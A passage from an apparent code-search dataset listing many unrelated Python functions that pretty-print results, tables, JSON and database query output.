affinities:\r\n print(\" \"+a)\r\n res = results[a]\r\n print(\"\\t\"+\"#thr\"+\"\\t\"+\"time\"+\"\\t\"+\"spdup\"+\"\\t\"+\"effc\"+\"\\t\"+\"raw\")\r\n for i in range(len(res[\"threads\"])):\r\n print(\"\\t{0}\\t{1:.2f}\\t{2:.2f}\\t{3:.4f}\\t{4}\".format(\r\n res[\"threads\"][i],\r\n res[\"avg\"][i],\r\n res[\"speedup\"][i],\r\n res[\"efficiency\"][i],\r\n benchmark[a][res[\"threads\"][i]]))\r\n print()","def pretty_str(self) -> str:\n ...","def pretty_display(self):\n\t\tpretty_space = PrettyTable()\n\t\tpretty_space.field_names = range(self.space.shape[1])\n\t\tcount = 0\n\t\tpretty_row = []\n\t\tfor cell in self.space.flat:\n\t\t\tcount = count + 1\n\t\t\tpretty_row.append(cell.state)\n\t\t\tif count >= self.space.shape[1]:\n\t\t\t\tpretty_space.add_row(pretty_row)\n\t\t\t\tcount = 0\n\t\t\t\tpretty_row = []\n\t\tprint(pretty_space)","def result_display(self, arg):\n if self.rc.pprint:\n out = stringify_func(arg)\n\n if '\\n' in out:\n print\n\n print out\n else:\n print repr(arg)","def get_result_printer(self):\n if isinstance(self.get_output, list):\n for value, key in self.get_output:\n print(value, key)\n else:\n for key, value in self.get_output.items():\n print(value, key)","def formatResult(self, result):\r\n return '\\t'.join(map(str, result))","def print_data(data):\n print(str(data))\n return data","def printPrettyFromCursor(cur, args):\n rows = []\n #get column headers -- not very ergonomic\n # exit if function does nto return things\n if not cur.description:\n return\n if args.header:\n rows.append([item[0] for item in cur.description])\n\n rows = rows + cur.fetchall()\n zipped = zip(*rows)\n widths = []\n for col in zipped:\n width = max([len(stringify(c)) for c in col])\n widths.append(width)\n fmat = ' '.join(['{:<%d}' % width for width in widths])\n for row in rows:\n row = [stringify(r) for r in row]\n print(fmat.format(*row))","def results(self):\n to_print = \"\"\n\n # determine longest key for pretty print\n limit = 0\n for key in self.__results:\n if len(key) > limit:\n limit = len(key)\n\n # decide spacing and ending between results based on type of input\n spacing = \"\"\n if len(self.input) > 1:\n spacing = \"\\t\"\n\n for key in self.__results:\n key_name = key\n if len(self.patterns) < 2:\n key_name = \"\"\n\n if self.counter:\n matches = self.__results[key]\n else:\n matches = \", \".join([str(i) for i in self.__results[key]])\n\n if len(self.patterns) > 1:\n to_print += (f'{spacing}{key_name:<{limit+2}}{matches}\\n')\n else:\n to_print += (f'{spacing}{matches}\\n')\n\n # remove last newline\n to_print = to_print[:-1]\n\n return to_print","def pretty_echo(data: Any) -> None:\n json_lexer = get_lexer_by_name('json')\n console_formatter = get_formatter_by_name('console')\n click.echo(highlight(json.dumps(data, indent=4), json_lexer, console_formatter))","def pretty_print(self, indent=8):\n formatted_lines = []\n for line in self.coefficients:\n formatted_items = []\n for item in line:\n formatted_items.append(str(item).ljust(indent, \" \"))\n formatted_lines.append(u\"(\" + \", \".join(formatted_items) + u\")\")\n return u\"(\" + u\",\\n \".join(formatted_lines) + u\")\"","def pprint(self):\n # just here for defining the interface; work is done in subclasses\n pass","def format_raw(self,query_results,output_stream):\n #print(query_results.data)\n delimiter=query_results.delimiter\n res=[]\n for row in query_results.data:\n if 'data' in row:\n raw=delimiter.join(row['data'])\n if output_stream=='STDIO':\n print(raw)\n else:\n res.append(raw)\n\n if output_stream=='STRING':\n return res","def pr(x):\n Card.print_pretty_cards(x)","def format_results(requests):\n\n keys = get_sorted_keys(requests)\n index = 1\n \n print \"\\nResults:\"\n for key in keys:\n\tfor request in requests[key]:\n\t print \"%s %s\" % (index, request.print_result())\n\t index += 1","def print_json(results):\r\n import json\r\n stats = calc_stats(results)\r\n print(json.dumps(stats._asdict()))","def pretty_print(self):\r\n out = \"\"\r\n\r\n rows,cols = self.matrix.shape\r\n\r\n for row in xrange(0,rows):\r\n out += \"[\"\r\n\r\n for col in xrange(0,cols):\r\n out += \"%+0.2f \"%self.matrix[row][col]\r\n out += \"]\\n\"\r\n\r\n return out","def print_out():\n pass","def format_json(self,query_results):\n results=query_results.data\n factory=factory_json()\n dump=factory.dumps(results)\n print(dump)\n # TODO return output for this\n return \"\"","def pprint(self, parameter_s=''):\n ptformatter = self.shell.display_formatter.formatters['text/plain']\n ptformatter.pprint = bool(1 - ptformatter.pprint)\n print('Pretty printing has been turned',\n ['OFF','ON'][ptformatter.pprint])","def print_individuals(self):\n pt = PrettyTable()\n pt.field_names = ['ID', 'Name', 'Gender', 'Birthday', 'Age', 'Alive', 'Death', 'Child', 'Spouse']\n for i in self.individuals.values():\n pt.add_row(i.get_values())\n print(pt)","def pretty_print(data, indent=4):\n if type(data) == dict:\n print(json.dumps(data, indent=indent, sort_keys=True))\n else:\n print(data)","def print_results(results):\n data = []\n for idx in results.index:\n item = results.loc[idx]\n row = (str(item.gid), \n re.sub(r'\\n', ' ', item.creators),\n re.sub(r'[\\n\\r]+', ' ', item.title), \n gut_utf8.format(item.gid))\n data.append(row)\n _ = [print('|'.join(row)) for row in data]\n print('#', len(data), \"items returned\")\n return data","def _format(self):\n output = f\"\\n{color('>>> DUMP')} from {self.filename}: {color(f'L{self.line}')} in {color(f'{self.method}()')}\"\n\n for name, obj in self.objects.items():\n output += f\"\\n\\n{color(f' - {name}:')}\\n\"\n output += f\" {pformat(obj, width=110, indent=4)}\"\n\n output += color(\"\\n\\n<<< END\")\n return output","def pprint(json_data):\n\n print(json.dumps(json_data, indent=4, separators=(' , ', ' : ')))","def print_result_info(self,result,filename):\n print ('File: %s' % filename)\n print ('Desc: %s' % result.description)\n print ('Version: %s' % result.version)\n print ('Arch: %s' % result.arch)\n print ('Platform: %s' % result.platform)\n print ('CPU: %s' % result.cpuarch)\n if hasattr(result,'sequence'):\n print ('Sequence: %s' % result.sequence)\n print ('Person: %s (%s)' % (result.person_name,result.person_id))\n result.print_summary()\n print('')","def pprint(self):\r\n for i in self.items():\r\n print '%s => %r'%i","def pretty_print_results(user_shingles: set, tracks_dict: dict, given_args, result: list):\n print('USER REQUEST: ')\n print('Track attributes: ' + str(user_shingles))\n print('Location: ')\n print('\\t North: ' + str(given_args.north_lim))\n print('\\t South: ' + str(given_args.south_lim))\n print('\\t East: ' + str(given_args.east_lim))\n print('\\t West: ' + str(given_args.west_lim))\n print('\\n')\n\n print('TRACKS FOUND: ')\n for t_id in result:\n print('Track id: ' + str(t_id))\n print('Track attributes: ' + str(set(tracks_dict[t_id]['attributes'])))\n print('Location: ')\n print('\\t North: ' + str(tracks_dict[t_id]['boundaries']['north']))\n print('\\t South: ' + str(tracks_dict[t_id]['boundaries']['south']))\n print('\\t East: ' + str(tracks_dict[t_id]['boundaries']['east']))\n print('\\t West: ' + str(tracks_dict[t_id]['boundaries']['west']))\n print('\\n')","def pretty_print_table(result, heading=False):\n # If the data is not in string, then it is likely a text format\n if type(result) == 'str':\n result = result.split('\\n')\n result = [line.split() for line in result]\n #Remove empty items\n result = [row for row in result if row!=['']]\n\n columns = len(result[0]) #Get the number of columns, this is used for row formatting\n row_format = '' #variable to construct the row formatting\n \n # Calculating the max length for each column\n for i in range(0, columns):\n # picking the length of the longest element\n #Need to convert the elements into string\n MAX_LEN = len(max([str(row[i]) for row in result], key=len))\n # Constructing the string formatting\n row_format += \"{:<\" + str(MAX_LEN) + \"} | \"\n\n pretty_result = ''\n if heading:\n pretty_result = row_format.format(*result[0]) + '\\n'\n pretty_result += len(row_format.format(*result[0])) * \"-\" + '\\n'\n result = result[1:]\n for row in result:\n pretty_result += row_format.format(*row) + '\\n'\n return pretty_result","def print_table(self):\n print(\"%-12s%-12s%-12s%-12s%-12s\" % (\"index\",\"balance\",\"payment\",\"interest\",\"amortization\"))\n print(\"-------------------------------------------------------------\")\n for i in self.table[\"index\"]:\n print(\"%-12i%-12i%-12i%-12i%-12i\" % (self.table[\"index\"][i],self.table[\"balance\"][i]\\\n ,self.table[\"payment\"][i],self.table[\"interest\"][i],\\\n self.table[\"amortization\"][i]))","def pretty_print(self) -> PrettyTable:\n table_contain: PrettyTable = PrettyTable()\n table_contain.field_names = [\n \"File Name\", \"Classes\", \"Functions\", \"Lines\", \"Characters\"]\n for key, value in self.files_summary.items():\n table_contain.add_row([key] + list(value.values()))\n\n return table_contain","def dump(self):\n outputs = [\"View : %s\\n\" % self.name]\n cols = list(self.columns.values())\n cols.sort()\n for column in cols:\n outputs.append(\" %-30s %-12s\" % (column['name'], column['type']))\n outputs.append(\"%7s\" % self.__class__.calc_precision(column['type'],\n column['length'], column['precision'], column['scale']))\n if not column['nullable']:\n outputs.append(\" NOT NULL\")\n outputs.append(\"\\n\")\n outputs.append(\"\\n\")\n outputs.append(self.sql+\"\\n\")\n outputs.append(\"\\n\")\n return \"\".join(outputs)","def __print_work_table(table):\n print \"%-5s %-30s %5s %5s %5s %5s %5s\" % ('Act', 'Pred', 'Block', 'Dummy', 'Succ', 'start', 'end')\n for k, col in sorted(table.items()):\n print \"%-5s %-30s %5s %5s %5s %5s %5s\" % tuple(\n [str(k)] + [list(col[0])] + [str(col[i]) for i in range(1, len(col))])","def __str__(self):\n return pprint.pformat(self.search_results)","def display_results_for_views(result):\n i = 0\n for r in result:\n print('\\t'+str(result[i][0]) + ' ---> '+str(result[i][1])+' views')\n i = i + 1","def pretty_view(self):\n return self.pretty_response()","def print_report():\n width = 68\n print(\"-\" * width)\n header = (\"Donor Name\", \"Total Given\", \"Num Gifts\", \"Average Gift\")\n print(\"{:20} | {:15} | {:10} | {:12}\".format(*header))\n print(\"-\" * width)\n for index, donor in enumerate(donors_data):\n name = donor[\"name\"]\n total = sum(donor[\"donations\"])\n num_gift = len(donor[\"donations\"])\n average = total/num_gift\n print(\"{:22} ${:12,.2f} {:12d} ${:12,.2f}\".format(name, total, num_gift, average ))\n print(\"-\" * width)","def print_table(data):\n for key in sorted(data):\n print \"%s: %s\" % (key.rjust(16), data[key])","def prettySummary(self):\n #import pandas as pd\n temp = self.framed.describe().toPandas()\n temp.iloc[1:3,1:] = temp.iloc[1:3,1:].convert_objects(convert_numeric=True)\n pd.options.display.float_format = '{:,.2f}'.format\n \n return temp","def print_dict(data):\n print data","def prettyPrint(description, ip_comp, host, width):\n value = (len(ip_comp) + len(host))\n #When printing values wider than the second column, split and print them\n if value > (int(width/3)):\n print(\"| \" + description.ljust(int(width/3)) + \" |\" ), \n i=0\n wrapped=textwrap.wrap(value, 60) \n for loop in wrapped:\n print(\"Fail point 3 inside loop\")\n if i == 0:\n print(loop + \"|\".rjust(int(width/3-(len(loop)))))\n else: \n print(\"| \".ljust(int(width/3+3)) + \" | \" + loop + \"|\".rjust(int(width/3-(len(loop)))))\n i=i+1\n else: \n print( \"| \" + description.ljust(int(width/3)) + \" | \" + ip_comp.rjust(int(width/3-6)) + \" | \" + host.rjust(int(width/3+2)) + \"|\")","def do_something_pretty(jsondata):\n import itertools # for flattening a list of tuples below\n\n # We only want the first array from the array of arrays under \"Value\" \n # - it's cluster assignment and distances from all centroid centers from k-means model\n value = jsondata[\"Results\"][\"output1\"][\"value\"][\"Values\"][0]\n # valuelen = len(value)\n print(value)\n\n scored_label = value[18]\n \n # Convert values (a list) to a list of tuples [(cluster#,distance),...]\n # valuetuple = list(zip(range(valuelen-1), value[1:(valuelen)]))\n # Convert the list of tuples to one long list (flatten it)\n # valuelist = list(itertools.chain(*valuetuple))\n\n # Convert to a tuple for the list\n # data = tuple(list(value[0]) + valuelist)\n\n # Build a placeholder for the cluster#,distance values\n #repstr = '<tr><td>%d</td><td>%s</td></tr>' * (valuelen-1)\n # print(repstr)\n output_bayesian=f'Our Bayesian linear regression model would predict a value of {str((float(scored_label)*294.433746) + 43.90625)}'\n # Build the entire html table for the results data representation\n #tablestr = 'Cluster assignment: %s<br><br><table border=\"1\"><tr><th>Cluster</th><th>Distance From Center</th></tr>'+ repstr + \"</table>\"\n #return tablestr % data\n return output_bayesian","def pretty_print_nlp_parsing_results(self, doc):\n\n if len(doc) > 0:\n print(\"\")\n print(\"{:12} {:12} {:12} {:12} {:12} {:12} {:12} {:12}\".format(\"TEXT\", \"LEMMA\", \"POS\", \"TAG\", \"DEP\", \"SHAPE\", \"ALPHA\", \"STOP\"))\n for token in doc:\n print(\"{:12} {:12} {:12} {:12} {:12} {:12} {:12} {:12}\".format(token.text, token.lemma_, token.pos_, token.tag_, token.dep_, token.shape_, str(token.is_alpha), str(token.is_stop)))\n print(\"\")\n if len(list(doc.noun_chunks)) > 0:\n print(\"{:12} {:12} {:12} {:12}\".format(\"TEXT\", \"ROOT.TEXT\", \"ROOT.DEP_\", \"ROOT.HEAD.TEXT\"))\n for chunk in doc.noun_chunks:\n print(\"{:12} {:12} {:12} {:12}\".format(chunk.text, chunk.root.text, chunk.root.dep_, chunk.root.head.text))\n print(\"\")","def pprint(self):\n return pformat(repr(self))","def pprint(*d):\n i = 0\n while i < len(d):\n print(pretty(d[i]))\n i += 1","def print_tests_results(self):\n\n for test in self.test_report:\n for detail in test:\n print detail + ': ', test[detail]","def to_print_out(self):\n self.error_throw('output')\n\n if self.rank_method == methods_of_ranking[3]: #'diversified_ranking'\n self.output_div('print')\n else:\n self.output('print')","def print_perf_results(results, cpu_info):\n if not results:\n return\n\n print('CPU Info: {}'.format(cpu_info['cpu_info']))\n print('Num cores: {}'.format(cpu_info['num_cpus']))\n print('Frequency: {} MHz'.format(cpu_info['mhz_per_cpu']))\n\n metrics = None\n row_format = None\n\n for name, res_dict in results.items():\n if not metrics:\n metrics = res_dict.keys()\n row_format = '{:<25}' + '{:^15}' * len(metrics)\n\n # print the header.\n print(row_format.format('', *metrics))\n\n results = [res_dict[m] for m in metrics]\n print(row_format.format(name, *results))","def __str__(self):\n tabuleiro = prettytable.PrettyTable(header=False)\n for linha in self.tabuleiro:\n tabuleiro.add_row(linha)\n return str(tabuleiro)"],"string":"[\n \"def PrettyPrint(self):\\r\\n print(self.data)\\r\\n return\",\n \"def Display(self, unused_args, result):\\n util.PrettyPrint(result)\",\n \"def Display(self, unused_args, result):\\n util.PrettyPrint(result)\",\n \"def pretty_print(self):\\n pt = PrettyTable()\\n for i in self.files_summary:\\n pt.field_names = [\\\"File Name\\\", \\\"Classes\\\", \\\"Functions\\\", \\\"Lines\\\", \\\"Characters\\\"]\\n pt.add_row(list([i, self.files_summary[i][\\\"class\\\"], self.files_summary[i][\\\"function\\\"], self.files_summary[i][\\\"line\\\"], self.files_summary[i][\\\"char\\\"]]))\\n print(pt) #Using a Print statement here because i tried to return self.pt and it didnt give me anything but the print works\",\n \"def printpretty(self):\\n print(self.string_rep())\",\n \"def pretty_print_drt(self):\\n self.drt_manager.pretty_print_drt()\",\n \"def pprint(self, data):\\n self._assert(data)\\n data = self._render(data) # make elements ascii\\n fmats = self._fmats(data) # get array of padding formats)\\n for row in data:\\n print(fmats.format(*row))\",\n \"def pretty_print(conn, cur): # an out dated function. if use update with fortnite_database object\\n\\n cur.execute(\\\"\\\"\\\"SELECT * FROM CurrentStats \\n ORDER BY alive desc\\n \\\"\\\"\\\")\\n data = cur.fetchall()\\n # returns x in the x[0] // header row in the data.descriptions\\n # iterates through all the items in the data description\\n print(\\\"\\\\n{:20s}{:20s}{:20s}{:20s}{:20s}{:20s}{:20s}{:20s}{:20s}{:20s}\\\".format(\\n \\\"user_id\\\", \\\"username\\\", \\\"current_kills\\\", \\\"current_weapon\\\", \\\"total_wins\\\", \\\"total_matches\\\", \\\"win_percent\\\",\\n \\\"total_kills\\\", \\\"kd\\\", \\\"alive\\\"))\\n\\n for d in data:\\n print(\\n \\\"{:<20d}{:20s}{:<20d}{:20s}{:<20d}{:<20d}{:<20.2f}{:<20d}{:<20.2f}{:<20d}\\\".format(d[0], d[1], d[2], d[3], d[4],\\n d[5], d[6], d[7], d[8], d[9]))\",\n \"def pretty_print(results: List[Tuple[str, torch.Tensor]]):\\n for item in results:\\n print(\\\"...[%.2f] - %s\\\" % (item[1], item[0]))\",\n \"def pretty_print(self):\\n for dtr in self.dtrs:\\n dtr.pretty_print(indent=2)\",\n \"def pretty_print(data):\\n print json.dumps(data, sort_keys=True, indent=4, separators=(',', ': '))\",\n \"def prettyprint(self):\\n\\n import pandas.io.sql as psql\\n df = psql.read_sql(\\\"SELECT * FROM ATOM\\\",self.conn)\\n print(df)\",\n \"def pretty_print(self):\\n output = \\\"Count: \\\"\\n if self.soft:\\n output += \\\"S\\\"\\n output += str(self.count)\\n if self.can_double:\\n output += \\\", can double\\\"\\n if self.can_split:\\n output += \\\", can split\\\"\\n print(output)\",\n \"def pretty_print(self, query_obj):\\n assert type(query_obj) == dict\\n result = \\\"\\\"\\n if type(query_obj) == dict and 'message' in query_obj:\\n result += query_obj[\\\"message\\\"] + \\\"\\\\n\\\"\\n if 'data' in query_obj and 'column_labels' in query_obj:\\n \\\"\\\"\\\" Pretty-print data table \\\"\\\"\\\"\\n pt = prettytable.PrettyTable()\\n columns = query_obj['column_labels']\\n pt.field_names = columns\\n\\n # Adjust value width - for now preserve 2 decimal places.\\n for row_idx, row_values in enumerate(query_obj['data']):\\n if type(row_values) == tuple:\\n row_values = list(row_values)\\n for col_idx, col_value in enumerate(row_values):\\n if type(col_value) == float:\\n # Right-align numeric columns.\\n if row_idx == 0:\\n pt.align[columns[col_idx]] = 'r'\\n row_values[col_idx] = \\\"% .2f\\\" % col_value\\n pt.add_row(row_values)\\n result += str(pt)\\n\\n elif 'list' in query_obj:\\n \\\"\\\"\\\" Pretty-print lists \\\"\\\"\\\"\\n result += str(query_obj['list'])\\n elif 'column_names' in query_obj:\\n \\\"\\\"\\\" Pretty-print cctypes \\\"\\\"\\\"\\n colnames = query_obj['column_names']\\n zmatrix = query_obj['matrix']\\n pt = prettytable.PrettyTable(hrules=prettytable.ALL, vrules=prettytable.ALL,\\n header=False)\\n pt.add_row([''] + list(colnames))\\n for row, colname in zip(zmatrix, list(colnames)):\\n pt.add_row([colname] + list(row))\\n result += str(pt)\\n elif 'column_labels' in query_obj:\\n \\\"\\\"\\\" Pretty-print column list.\\\"\\\"\\\"\\n pt = prettytable.PrettyTable()\\n pt.field_names = ['column']\\n for column in query_obj['column_labels']:\\n pt.add_row([column])\\n result += str(pt)\\n elif 'row_lists' in query_obj:\\n \\\"\\\"\\\" Pretty-print multiple row lists, which are just names and row sizes. \\\"\\\"\\\"\\n pt = prettytable.PrettyTable()\\n pt.field_names = ('Row List Name', 'Row Count')\\n\\n def get_row_list_sorting_key(x):\\n \\\"\\\"\\\" To be used as the key function in a sort. Puts cc_2 ahead of cc_10, e.g. \\\"\\\"\\\"\\n name, count = x\\n if '_' not in name:\\n return name\\n s = name.split('_')\\n end = s[-1]\\n start = '_'.join(s[:-1])\\n if utils.is_int(end):\\n return (start, int(end))\\n return name\\n\\n for name, count in sorted(query_obj['row_lists'], key=get_row_list_sorting_key):\\n pt.add_row((name, count))\\n result += str(pt)\\n elif 'column_lists' in query_obj:\\n \\\"\\\"\\\" Pretty-print multiple column lists. \\\"\\\"\\\"\\n print\\n clists = query_obj['column_lists']\\n for name, clist in clists:\\n print(\\\"%s:\\\" % name)\\n pt = prettytable.PrettyTable()\\n pt.field_names = clist\\n print(pt)\\n elif 'models' in query_obj:\\n \\\"\\\"\\\" Pretty-print model info. \\\"\\\"\\\"\\n pt = prettytable.PrettyTable()\\n pt.field_names = ('model_id', 'iterations')\\n for (id, iterations) in query_obj['models']:\\n pt.add_row((id, iterations))\\n result += str(pt)\\n\\n if len(result) >= 1 and result[-1] == '\\\\n':\\n result = result[:-1]\\n return result\",\n \"def print_results(results):\\n print(\\\"\\\\033[4m\\\\033[1m%-75s%s\\\\033[0m\\\" % (\\\"NAME\\\", \\\"ADDRESS\\\"))\\n\\n for selections in data:\\n print(\\\"%-75s%s\\\" % (selections['applicant'], selections['location']))\\n \\n print(\\\"\\\\n\\\\033[1m--- PAGE \\\", page_num, \\\"---\\\\033[0m\\\\n\\\")\",\n \"def pretty_print(self, query_obj):\\n assert type(query_obj) == dict\\n result = \\\"\\\"\\n if type(query_obj) == dict and 'message' in query_obj:\\n result += query_obj[\\\"message\\\"] + \\\"\\\\n\\\"\\n if 'data' in query_obj and 'columns' in query_obj:\\n \\\"\\\"\\\" Pretty-print data table \\\"\\\"\\\"\\n pt = prettytable.PrettyTable()\\n pt.field_names = query_obj['columns']\\n for row in query_obj['data']:\\n pt.add_row(row)\\n result += str(pt)\\n elif 'list' in query_obj:\\n \\\"\\\"\\\" Pretty-print lists \\\"\\\"\\\"\\n result += str(query_obj['list'])\\n elif 'column_names' in query_obj:\\n \\\"\\\"\\\" Pretty-print cctypes \\\"\\\"\\\"\\n colnames = query_obj['column_names']\\n zmatrix = query_obj['matrix']\\n pt = prettytable.PrettyTable(hrules=prettytable.ALL, vrules=prettytable.ALL,\\n header=False)\\n pt.add_row([''] + list(colnames))\\n for row, colname in zip(zmatrix, list(colnames)):\\n pt.add_row([colname] + list(row))\\n result += str(pt)\\n elif 'columns' in query_obj:\\n \\\"\\\"\\\" Pretty-print column list.\\\"\\\"\\\"\\n pt = prettytable.PrettyTable()\\n pt.field_names = ['column']\\n for column in query_obj['columns']:\\n pt.add_row([column])\\n result += str(pt)\\n elif 'row_lists' in query_obj:\\n \\\"\\\"\\\" Pretty-print multiple row lists, which are just names and row sizes. \\\"\\\"\\\"\\n pt = prettytable.PrettyTable()\\n pt.field_names = ('Row List Name', 'Row Count')\\n\\n def get_row_list_sorting_key(x):\\n \\\"\\\"\\\" To be used as the key function in a sort. Puts cc_2 ahead of cc_10, e.g. \\\"\\\"\\\"\\n name, count = x\\n if '_' not in name:\\n return name\\n s = name.split('_')\\n end = s[-1]\\n start = '_'.join(s[:-1])\\n if is_int(end):\\n return (start, int(end))\\n return name\\n\\n for name, count in sorted(query_obj['row_lists'], key=get_row_list_sorting_key):\\n pt.add_row((name, count))\\n result += str(pt)\\n elif 'column_lists' in query_obj:\\n \\\"\\\"\\\" Pretty-print multiple column lists. \\\"\\\"\\\"\\n print\\n clists = query_obj['column_lists']\\n for name, clist in clists:\\n print(\\\"%s:\\\" % name)\\n pt = prettytable.PrettyTable()\\n pt.field_names = clist\\n print(pt)\\n elif 'models' in query_obj:\\n \\\"\\\"\\\" Pretty-print model info. \\\"\\\"\\\"\\n pt = prettytable.PrettyTable()\\n pt.field_names = ('model_id', 'iterations')\\n for (id, iterations) in query_obj['models']:\\n pt.add_row((id, iterations))\\n result += str(pt)\\n\\n if len(result) >= 1 and result[-1] == '\\\\n':\\n result = result[:-1]\\n return result\",\n \"def _print_report(self, result: Dict[str, Dict[str, float]]):\\n\\n print('\\\\n\\\\tprecision recall f1_score num')\\n for type_ in self.types:\\n print(type_, end='\\\\t')\\n print('{0: .3f}'.format(result[type_]['precision']), end=' ')\\n print('{0: .3f}'.format(result[type_]['recall']), end=' ')\\n print('{0: .3f}'.format(result[type_]['f1_score']), end=' ')\\n print('{0: d}'.format(result[type_]['num']), end='\\\\n')\",\n \"def _print_results(results, title=''):\\n pstr = '[' + title + ']: ' if title else ''\\n for k, v in results.items():\\n pstr += '\\\\t{}: {}'.format(k, v)\\n print(pstr)\",\n \"def print(self):\\n print(self.pretty_str())\",\n \"def print_results(results):\\n print()\\n print(\\\"%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\\\")\\n print(\\\"%% RESULTS %%\\\")\\n print(\\\"%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\\\")\\n print()\\n print(\\\"Route \\\\t Cells \\\\t\\\")\\n print(\\\"Length\\\\tChecked\\\\t Time\\\")\\n print(\\\"--------------------------------\\\")\\n print(\\\"{0}\\\\t{1}\\\\t{2}\\\".format(*results))\\n print()\",\n \"def pretty(self, **kwargs):\\r\\n raise NotImplementedError\",\n \"def printData (data):\\n print(str(len(data)) + '\\\\t' + str(data))\",\n \"def format_bash(self,query_results):\\n data=query_results.data\\n \\n name=\\\"ddb\\\"\\n\\n print (\\\"{0}_row_length={1}\\\".format(name,len(data)))\\n print (\\\"{0}_column_length={1}\\\".format(name,len(query_results.columns)))\\n print (\\\"\\\")\\n\\n column_index=0\\n for column in query_results.columns:\\n print(\\\"{0}_columns['{1}']='{2}'\\\".format(name,column_index,column))\\n column_index+=1\\n\\n\\n row_index=0\\n for row in data:\\n for column_index in range(0,len(query_results.columns)):\\n print('{0}_data[{1}][{2}]=\\\"{3}\\\"'.format(name,row_index,column_index,row['data'][column_index]))\\n row_index+=1\\n # TODO return output for this\\n return \\\"\\\"\",\n \"def pprint(self):\\n\\t\\tPrettyPrintUnicode().pprint(self.data)\",\n \"def show_data(self, ):\\r\\n return print('society_name : {}\\\\n'\\r\\n 'flat : {}\\\\n'\\r\\n 'house_no : {}\\\\n'\\r\\n 'no_of_members : {}\\\\n'\\r\\n 'income : {}\\\\n '\\r\\n .format(self.society_name, self.flat, self.house_no, self.no_of_members, self.income))\",\n \"def python_data_printer(cur):\\n # Print a header.\\n for fieldDesc in cur.description:\\n print (fieldDesc[fdb.DESCRIPTION_NAME].ljust(fieldDesc[fdb.DESCRIPTION_DISPLAY_SIZE]),end=' ')\\n print('')\\n for fieldDesc in cur.description:\\n print (\\\"-\\\" * max((len(fieldDesc[fdb.DESCRIPTION_NAME]),fieldDesc[fdb.DESCRIPTION_DISPLAY_SIZE])),end=' ')\\n print('')\\n # For each row, print the value of each field left-justified within\\n # the maximum possible width of that field.\\n fieldIndices = range(len(cur.description))\\n for row in cur:\\n for fieldIndex in fieldIndices:\\n fieldValue = row[fieldIndex]\\n if not isinstance(fieldValue,types.StringTypes):\\n fieldValue = str(fieldValue)\\n if isinstance(fieldValue,types.UnicodeType):\\n fieldValue = fieldValue.encode('utf8')\\n fieldMaxWidth = max((len(cur.description[fieldIndex][fdb.DESCRIPTION_NAME]),cur.description[fieldIndex][fdb.DESCRIPTION_DISPLAY_SIZE]))\\n print (fieldValue.ljust(fieldMaxWidth),end=' ')\\n print('')\",\n \"def pprint(self,obj):\\n return(json.dumps(obj, sort_keys=True, indent=2, separators=(',', ': ')))\",\n \"def print_res(self, result, index=None):\\n if index is not None:\\n print(str(index).rjust(3)+ \\\" \\\" + _c.bold + _c.blue + result[\\\"title\\\"] + _c.reset)\\n if result[\\\"description\\\"]:\\n print(\\\" \\\"*4 + \\\"Description:\\\\t\\\", result[\\\"description\\\"])\\n print(\\n \\\" \\\"*4 +\\n result[\\\"highlight\\\"].replace(\\\"<highlight>\\\", _c.blue).replace(\\\"</highlight>\\\", _c.reset),\\n )\\n print(\\\" \\\"*4 + \\\"Path: \\\", result[\\\"path\\\"])\\n else:\\n print(\\\"Title:\\\\t\\\\t\\\", result[\\\"title\\\"])\\n if result[\\\"description\\\"]:\\n print(\\\"Description:\\\\t\\\", result[\\\"description\\\"])\\n print(result[\\\"highlight\\\"])\\n print(\\\"Path: \\\", result[\\\"path\\\"])\",\n \"def print_results(self):\\n pass\",\n \"def pprint(self):\\n print(self.pprint_str())\",\n \"def DumpPprint(data):\\n #NOTE(g): Import is done here, instead of the top of the file, to not require this module if it is not used\\n import pprint\\n \\n text = pprint.pformat(data)\\n \\n return text\",\n \"def __str__(self):\\n txt = ''\\n if self.PrintHeader:\\n txt = \\\" |\\\" + \\\"|\\\".join(sorted(self.rows[0].keys())).expandtabs() + \\\"|\\\"\\n txt += \\\"\\\\n\\\"\\n txt += \\\"|-\\\"\\n for r in self.rows:\\n txt += \\\"\\\\n|\\\"\\n txt += \\\"|\\\".join([str(uround(r[key] , 2) if isinstance(r[key], (int, long, float, complex , Variable,AffineScalarFunc )) else r[key]) for key in sorted(self.rows[0].keys())]) + \\\"|\\\"\\n txt += \\\"\\\\n|-\\\"\\n if self.PrintSum:\\n txt += \\\"\\\\n\\\"\\n sumRow = self.GetSumRow()\\n txt += \\\"| |\\\" + \\\"|\\\".join( [str(uround(sumRow[key] , 2) if isinstance(sumRow[key], (int, long, float, complex , Variable ,AffineScalarFunc )) else sumRow[key]) for key in sorted(self.rows[0].keys())[1:]] ) + \\\"|\\\"\\n\\n return txt\",\n \"def viewdata(data):\\n\\n print('_' * 50)\\n print('Number of Results: ' + str(data[0]['numResults']))\\n print('\\\\nSearchURL: ' + data[0]['searchURL'])\\n print('_' * 50)\\n\\n i = 1\\n for m in data[1]:\\n print(str(i) + '. ')\\n for n in m:\\n print(str(n) + ': ' + str(m[n]))\\n i += 1\\n print('\\\\n')\",\n \"def print_result(self, header, result, suffix=\\\"views\\\"):\\n print(header)\\n for i in range(len(result)):\\n print(' ', i + 1, '.', result[i][0], '--', result[i][1], suffix)\\n print(\\\"\\\\n\\\")\",\n \"def print_json_stdout(results):\\n for json in results:\\n print(\\\"\\\\n########## Result for IP {} ##########\\\".format(json['ip']))\\n pprint.pprint(json)\\n print('######################################')\\n print()\",\n \"def printData(result):\\n print \\\"Body: \\\\n\\\", result['body']\\n print \\\"Html: \\\\n\\\", result['html']\\n print \\\"Attachment: \\\\n\\\", result['filename']\\n # print \\\"Attachments: \\\\n\\\", result['attachments']\",\n \"def print_result_r(result, write=True):\\n table = ''\\n table += '%-6s%6s%6s%6s\\\\n' % ('#', 'start', 'end', 'score')\\n for i in xrange(len(result['end'])):\\n table += '%-6s%6s%6s%6s\\\\n' % (i+1, result['start'][i]+1,\\n result['end'][i]+1,\\n result['score'][i])\\n if write:\\n print table\\n else:\\n return table\",\n \"def _to_string(self):\\n self.results.print_results()\\n self.results.print_comparison()\",\n \"def print_pretty_result(self):\\n\\t\\tfor row in range(0, len(self.resulting_matrix)):\\n\\t\\t\\tfor col in range(0, len(self.resulting_matrix[self.__ROW_INDEX])):\\n\\t\\t\\t\\tactual_number = self.resulting_matrix[row][col]\\n\\t\\t\\t\\tif (actual_number != 0):\\n\\t\\t\\t\\t\\tprint (\\\"A la ciudad \\\", row+1, \\\" en la fabrica 